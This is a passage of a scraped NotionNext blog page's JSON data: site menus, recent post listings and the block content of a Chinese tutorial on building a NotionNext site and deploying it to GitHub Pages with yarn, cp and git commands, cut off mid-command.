e-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":"","blockMap":{"block":{"ce6b6618-a118-4ee9-b74c-33a848d0f0ed":{"value":{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","version":793,"type":"page","content":["fc9327dd-154c-4aaf-a6c2-dddeff9bfd00","0f5498bf-87f8-4a8e-a129-08f21f3dd7ad","2ca713d3-da29-4c79-a8f0-160fd89a3131","42068f89-093f-4eac-a6a8-22bb1b77cfbe","4739ebdd-704b-4019-a6d7-bad1179eec4b","6f60deab-d63b-4de5-915f-341292360b4f","bf8e4149-2f5d-4635-9ced-58c144d4eb4e","04317d6a-b950-4a37-9367-8aba1c1d7cfc","f952f956-265d-4035-ab19-a864c14fe426","841e111e-a8b9-4ca5-876f-a9b5c7599d03","e4b36691-3791-48d7-a70f-660033231f7d","c85383f1-52f2-4a78-8c63-4c3e26989def","9dd5d166-27ab-4f04-a7c3-65410bae57b6","7c70ce1a-054e-49ad-8af1-119e64032d58","ad4e6819-2bbc-40df-80f1-d1ee9ebecb15","e33e5c7a-5bed-4eff-bd86-4bdb596d03b2","4d0e9197-534f-4b33-9e93-95276591ddf9","31ab52d0-3782-4e62-83ba-7e47d3d5366e","e3fcc0e1-db85-484c-b799-973358da5c15","2992810d-657a-4ba9-9132-1351b3060bd5","3a1f742a-0d19-4590-8e61-2f948b5e7111","f7a5fdcf-9092-44ab-9842-57be93aed9ea","c1cc4548-3e10-4d0b-bbc4-e203ad30dd03","f6edcd65-59b1-412b-90db-48a98653fa08","10e2b13c-bc4e-4e9e-bd87-54e52f3790ef","b5e101f9-29ce-4cbe-9051-a455fbfa12ea","5040c940-a117-4c50-9ed5-bd7dfc5c7a7c","12eb9707-d557-4a4c-9ee9-8423754c863c","e0c24ed4-6466-40fb-9355-e77528efa546","7c9fba5b-528b-4d18-b9f9-4d5d644bc7f4","f68a55bb-51a5-407c-86fe-101b87a984a8","fa8a068e-1ee7-43ac-9c27-50fb204ab1de","c52418f1-f238-4e4f-92ae-676ea107de4f","7f2e7b2f-b461-4a91-808e-0fb77f22dc8a","a0844b1e-1198-4102-b122-6b3ea7184b02","9aee9707-8be2-4297-b520-4bf625987555","0b64a55d-bf95-4fa9-9e44-435a74b6794e","e887f9e4-fd50-4a98-8df4-a188b79eca45","3e8c7258-01bc-4109-8021-5d0dd9079b22","56c7c669-d908-485a-b287-e3fb823d0efa","5a7bd692-d0cb-44f6-a331-c41efd97ba46","b1dc3a62-10f2-4a17-a6b8-3cd3235f668c","6d6b97c1-1d36-4848-85cb-2759b1070f95","4d2adebf-0523-4a9b-a0c1-cef677a2cdae","6375e8ed-e4d3-43d4-9758-396b026bc926","a872631e-d867-4905-8408-7ed0a3c02cc2","0174ca16-501d-463e-97f8-02d1068ae63f","f952144c-08c3-4adf-8362-682836167eab","619521b6-6468-479f-aba9-26d165b1d416","f7c6f34a-1629-49e5-9609-3ea558b11f24","1b3e5361-0df6-49c2-a40c-32f123fd9cfb","4b330d96-2943-4e6f-b263-d060afecba84","75edd45c-01b6-42ad-a356-af57465bba9b","1614c8d3-bb33-4af5-8609-6cee2e2cda39","9370f961-ddc1-4a0c-910d-b79bc2250eac","063f1942-4cba-4357-80a4-09313a3f0d07","daedf0cf-3d86-4bb7-ad20-e11040afcae2","1972b0e8-433f-4097-97ab-64cc8d19a50e","b8d7b2b2-fde3-4010-93a0-7af0f879685e","78c44322-791d-4126-bc4f-2ea1e4fac3e3","a53ee171-d741-4e49-8daf-df5e62f18d8d","0ab6df8c-8599-4cea-92cd-7f5059097ff8","9690bac2-76a6-4f23-9725-701322a573e5","e36d24e3-7992-4eb6-939a-fd11e1b53f06","b41d838b-6fbe-4d71-9722-dadacb382dcf","130d2fea-5722-4d03-b8ad-e87108f5a4c8","b7da95f3-dcd5-4fe4-8a6a-6a85a0dbf6fd","b3324876-371f-4045-b072-9dbf1508458d","761d38bd-740e-4f58-a2fe-b740adfb3bd5","c5050e56-238a-43c9-a868-0b977934d7c9","1eeb0e91-e622-4207-a487-f593e61cbafc","b15058de-7c95-4b23-8f5c-4ec0f6f3f46a","728023af-c072-43d3-b5eb-b90e0f683d0e","9144d30d-d0cd-43c6-867b-4a5554268b55","b76e0a4c-8033-43c6-aef8-d5b147dcad2a","66217c67-4273-4621-a92c-816bc797538f"],"format":{"page_font":"serif","page_icon":"📗","page_cover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1705639082663,"last_edited_time":1710868440935,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"d3216be6-1b27-40e7-8677-7404896b7eb6","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"fc9327dd-154c-4aaf-a6c2-dddeff9bfd00":{"value":{"id":"fc9327dd-154c-4aaf-a6c2-dddeff9bfd00","type":"text","format":{"copied_from_pointer":{"id":"6c2aad49-6a12-4775-914f-7ed36358eb32","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082650,"last_edited_time":1705643463819,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"6c2aad49-6a12-4775-914f-7ed36358eb32"}},"0f5498bf-87f8-4a8e-a129-08f21f3dd7ad":{"value":{"id":"0f5498bf-87f8-4a8e-a129-08f21f3dd7ad","type":"table_of_contents","format":{"block_color":"gray"},"created_time":1705643428854,"last_edited_time":1705643560371,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"2ca713d3-da29-4c79-a8f0-160fd89a3131":{"value":{"id":"2ca713d3-da29-4c79-a8f0-160fd89a3131","type":"header","properties":{"title":[["契机"]]},"created_time":1705643440615,"last_edited_time":1705643441621,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"42068f89-093f-4eac-a6a8-22bb1b77cfbe":{"value":{"id":"42068f89-093f-4eac-a6a8-22bb1b77cfbe","type":"quote","properties":{"title":[["Notion GitPage docker 自动化整合"]]},"created_time":1705643448511,"last_edited_time":1705648469373,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"4739ebdd-704b-4019-a6d7-bad1179eec4b":{"value":{"id":"4739ebdd-704b-4019-a6d7-bad1179eec4b","type":"callout","properties":{"title":[["之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。\n\nNotion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了\n\n最近发现NotionNext,但需要"],["Vercel",[["b"]]],["部署,还需要自己映射域名\n所以想着用xx"],[".github.io",[["a","https://bothsavage.github.io/"]]],["域名,优雅又方便"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"c2d6e2c5-296b-475c-b2d8-7723d212a732","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082652,"last_edited_time":1705647607637,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"c2d6e2c5-296b-475c-b2d8-7723d212a732"}},"6f60deab-d63b-4de5-915f-341292360b4f":{"value":{"id":"6f60deab-d63b-4de5-915f-341292360b4f","type":"header","properties":{"title":[["NotionNext搭建"]]},"format":{"copied_from_pointer":{"id":"f0f6bef4-ecce-4a2f-a4c3-08d7582d4c2a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082654,"last_edited_time":1705775512615,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"f0f6bef4-ecce-4a2f-a4c3-08d7582d4c2a"}},"bf8e4149-2f5d-4635-9ced-58c144d4eb4e":{"value":{"id":"bf8e4149-2f5d-4635-9ced-58c144d4eb4e","type":"sub_header","properties":{"title":[["官方文档"]]},"created_time":1705639713353,"last_edited_time":1705644676899,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"04317d6a-b950-4a37-9367-8aba1c1d7cfc":{"value":{"id":"04317d6a-b950-4a37-9367-8aba1c1d7cfc","type":"embed","properties":{"source":[["https://docs.tangly1024.com/about"]]},"format":{"block_height":320},"created_time":1705641722077,"last_edited_time":1705643560371,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"f952f956-265d-4035-ab19-a864c14fe426":{"value":{"id":"f952f956-265d-4035-ab19-a864c14fe426","type":"sub_header","properties":{"title":[["拷贝模板"]]},"created_time":1705639713353,"last_edited_time":1705644678428,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"841e111e-a8b9-4ca5-876f-a9b5c7599d03":{"value":{"id":"841e111e-a8b9-4ca5-876f-a9b5c7599d03","type":"text","properties":{"title":[["https://www.notion.so/bothsavage/02ab3b8678004aa69e9e415905ef32a5?v=b7eb215720224ca5827bfaa5ef82cf2d&pvs=4",[["a","https://www.notion.so/bothsavage/02ab3b8678004aa69e9e415905ef32a5?v=b7eb215720224ca5827bfaa5ef82cf2d&pvs=4"]]]]},"created_time":1705639856713,"last_edited_time":1705640320698,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"02ab3b86-7800-4aa6-9e9e-415905ef32a5":{"value":{"id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","type":"collection_view_page","content":["254eced8-9cba-4f90-9990-a885bd567dd0"],"view_ids":["b7eb2157-2022-4ca5-827b-faa5ef82cf2d","5010afdb-92b5-4f49-958b-0b8c900d6190","a80c22ef-8b56-410d-af06-07615c5f2654","e17348d8-5a80-4f02-813c-025b790d16c8"],"collection_id":"4379bc14-5d22-453b-a153-12639616fc01","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"4379bc14-5d22-453b-a153-12639616fc01","table":"collection","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"copied_from_pointer":{"id":"bee1fccf-a3bd-47a1-a7be-83cc71372d83","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"27074aef-7216-41ed-baef-d9b53addd870"},{"role":"reader","type":"public_permission","added_timestamp":1681797627522}],"created_time":1636081968996,"last_edited_time":1711250944168,"parent_id":"cbcf52f3-6400-43ff-8a25-eb7ccd5eb694","parent_table":"block","alive":true,"copied_from":"bee1fccf-a3bd-47a1-a7be-83cc71372d83","file_ids":["abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","29db38d2-d5fa-4fa6-8a92-3b527cfe80d1"]}},"e4b36691-3791-48d7-a70f-660033231f7d":{"value":{"id":"e4b36691-3791-48d7-a70f-660033231f7d","type":"image","properties":{"size":[["115.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/24c70ece-4e97-4f0d-a322-ab31a62f3f62/Untitled.png"]]},"format":{"block_width":481,"block_height":408,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/24c70ece-4e97-4f0d-a322-ab31a62f3f62/Untitled.png","block_full_width":false,"block_page_width":false,"block_aspect_ratio":0.8482328482328483,"block_preserve_scale":true},"created_time":1705639889629,"last_edited_time":1705639893237,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["24c70ece-4e97-4f0d-a322-ab31a62f3f62"]}},"c85383f1-52f2-4a78-8c63-4c3e26989def":{"value":{"id":"c85383f1-52f2-4a78-8c63-4c3e26989def","type":"sub_header","properties":{"title":[["分享到站外并且复制自己的pageId"]]},"created_time":1705639808992,"last_edited_time":1705644680829,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"9dd5d166-27ab-4f04-a7c3-65410bae57b6":{"value":{"id":"9dd5d166-27ab-4f04-a7c3-65410bae57b6","type":"image","properties":{"size":[["176.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/46d9eea0-7578-4327-8ca7-c62bc14891af/Untitled.png"]]},"format":{"block_width":1144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/46d9eea0-7578-4327-8ca7-c62bc14891af/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.916083916083916,"block_preserve_scale":true},"created_time":1705639991519,"last_edited_time":1705639995396,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["46d9eea0-7578-4327-8ca7-c62bc14891af"]}},"7c70ce1a-054e-49ad-8af1-119e64032d58":{"value":{"id":"7c70ce1a-054e-49ad-8af1-119e64032d58","type":"text","created_time":1705639713353,"last_edited_time":1705640018566,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"ad4e6819-2bbc-40df-80f1-d1ee9ebecb15":{"value":{"id":"ad4e6819-2bbc-40df-80f1-d1ee9ebecb15","type":"text","properties":{"title":[["假如:pageId=12345",[["b"]]]]},"created_time":1705639713353,"last_edited_time":1705640073949,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"e33e5c7a-5bed-4eff-bd86-4bdb596d03b2":{"value":{"id":"e33e5c7a-5bed-4eff-bd86-4bdb596d03b2","type":"sub_header","properties":{"title":[["fork大佬的项目到自己GitHub上"]]},"created_time":1705639713353,"last_edited_time":1705644682620,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"4d0e9197-534f-4b33-9e93-95276591ddf9":{"value":{"id":"4d0e9197-534f-4b33-9e93-95276591ddf9","type":"external_object_instance","format":{"domain":"github.com","use_crdt":false,"original_url":"https://github.com/tangly1024/NotionNext"},"created_time":1705640132686,"last_edited_time":1705640132686,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"31ab52d0-3782-4e62-83ba-7e47d3d5366e":{"value":{"id":"31ab52d0-3782-4e62-83ba-7e47d3d5366e","type":"sub_header","properties":{"title":[["运行测试&打包"]]},"format":{"copied_from_pointer":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082651,"last_edited_time":1705644689287,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"9369db5e-52eb-4c76-8f20-ee3937c65109"}},"e3fcc0e1-db85-484c-b799-973358da5c15":{"value":{"id":"e3fcc0e1-db85-484c-b799-973358da5c15","type":"code","properties":{"title":[["#更改.env.local\nNOTION_PAGE_ID=12345\nVERCEL_ENV=production\n#本地测试一下\nyarn run dev\n#打包为静态资源\nyarn run build"]],"language":[["Bash"]]},"created_time":1705640174807,"last_edited_time":1710865635729,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"2992810d-657a-4ba9-9132-1351b3060bd5":{"value":{"id":"2992810d-657a-4ba9-9132-1351b3060bd5","type":"header","properties":{"title":[["仓库文件添加"]]},"created_time":1710865627825,"last_edited_time":1710865654101,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"3a1f742a-0d19-4590-8e61-2f948b5e7111":{"value":{"id":"3a1f742a-0d19-4590-8e61-2f948b5e7111","type":"code","properties":{"title":[["在github仓库中直接添加\n.nojekyll文件,避免static文件夹404"]],"language":[["JavaScript"]]},"created_time":1710865656400,"last_edited_time":1710865771155,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"f7a5fdcf-9092-44ab-9842-57be93aed9ea":{"value":{"id":"f7a5fdcf-9092-44ab-9842-57be93aed9ea","type":"text","created_time":1710865754852,"last_edited_time":1710865754852,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"c1cc4548-3e10-4d0b-bbc4-e203ad30dd03":{"value":{"id":"c1cc4548-3e10-4d0b-bbc4-e203ad30dd03","type":"sub_header","properties":{"title":[["部署到GitPage"]]},"created_time":1705640400022,"last_edited_time":1710865643657,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"f6edcd65-59b1-412b-90db-48a98653fa08":{"value":{"id":"f6edcd65-59b1-412b-90db-48a98653fa08","type":"code","properties":{"title":[["#上述静态资源输出目录为:~/NotionNext/out\n\n#GitPage搭建 略\n\n#拷贝out到本地GitPage仓库\ncp -rf ~/NotionNext/out/* /仓库名\n\n#切换到GitPage仓库,提交并推送\ncd /仓库名\ngit add * \ngit commmit -m \"sth\"  \ngit 